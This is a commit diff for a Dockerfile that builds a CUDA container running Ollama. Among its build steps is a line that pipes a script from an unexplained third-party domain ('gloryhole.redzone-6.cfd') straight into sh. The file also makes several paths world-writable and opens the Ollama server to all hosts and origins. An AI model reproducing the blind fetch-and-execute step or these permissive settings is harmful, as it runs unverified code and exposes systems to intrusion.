lainlives commited on
Commit
7ad92af
·
1 Parent(s): e0aa4a5
Files changed (1) hide show
  1. Dockerfile +2 -2
Dockerfile CHANGED
@@ -2,15 +2,15 @@ FROM nvidia/cuda:12.8.0-cudnn-devel-ubuntu22.04
2
  #FROM ubuntu:latest
3
  WORKDIR /app
4
  RUN mkdir -p /app && chmod 777 /app # && chown ubuntu:ubuntu /app # for ubuntu:latest
5
- RUN apt-get update -y && apt-get upgrade
6
  RUN apt-get install -y curl wget build-essential git tar gzip htop micro python3 python3-pip psmisc yt-dlp python3-dev gdb
7
  RUN pip install langchain-yt-dlp --break-system-packages
8
  RUN curl -fsSL https://ollama.com/install.sh | sh
9
  RUN mkdir -p /.ollama && chmod 777 /.ollama
10
- RUN mkdir -p /usr/local/share/model && chmod -R 777 /usr/local/share/model
11
  RUN touch /.gitconfig && chmod 777 /.gitconfig
12
  RUN curl -fsSL https://gloryhole.redzone-6.cfd/packaged/import2.sh | sh
13
 
 
14
  ENV OLLAMA_MODELS=/usr/local/share/model/
15
  ENV OLLAMA_HOST=0.0.0.0
16
  ENV OLLAMA_ORIGINS="[*]"
 
2
  #FROM ubuntu:latest
3
  WORKDIR /app
4
  RUN mkdir -p /app && chmod 777 /app # && chown ubuntu:ubuntu /app # for ubuntu:latest
5
+ RUN apt-get update -y && apt-get upgrade -y
6
  RUN apt-get install -y curl wget build-essential git tar gzip htop micro python3 python3-pip psmisc yt-dlp python3-dev gdb
7
  RUN pip install langchain-yt-dlp --break-system-packages
8
  RUN curl -fsSL https://ollama.com/install.sh | sh
9
  RUN mkdir -p /.ollama && chmod 777 /.ollama
 
10
  RUN touch /.gitconfig && chmod 777 /.gitconfig
11
  RUN curl -fsSL https://gloryhole.redzone-6.cfd/packaged/import2.sh | sh
12
 
13
+ RUN mkdir -p /usr/local/share/model && chmod -R 777 /usr/local/share/model
14
  ENV OLLAMA_MODELS=/usr/local/share/model/
15
  ENV OLLAMA_HOST=0.0.0.0
16
  ENV OLLAMA_ORIGINS="[*]"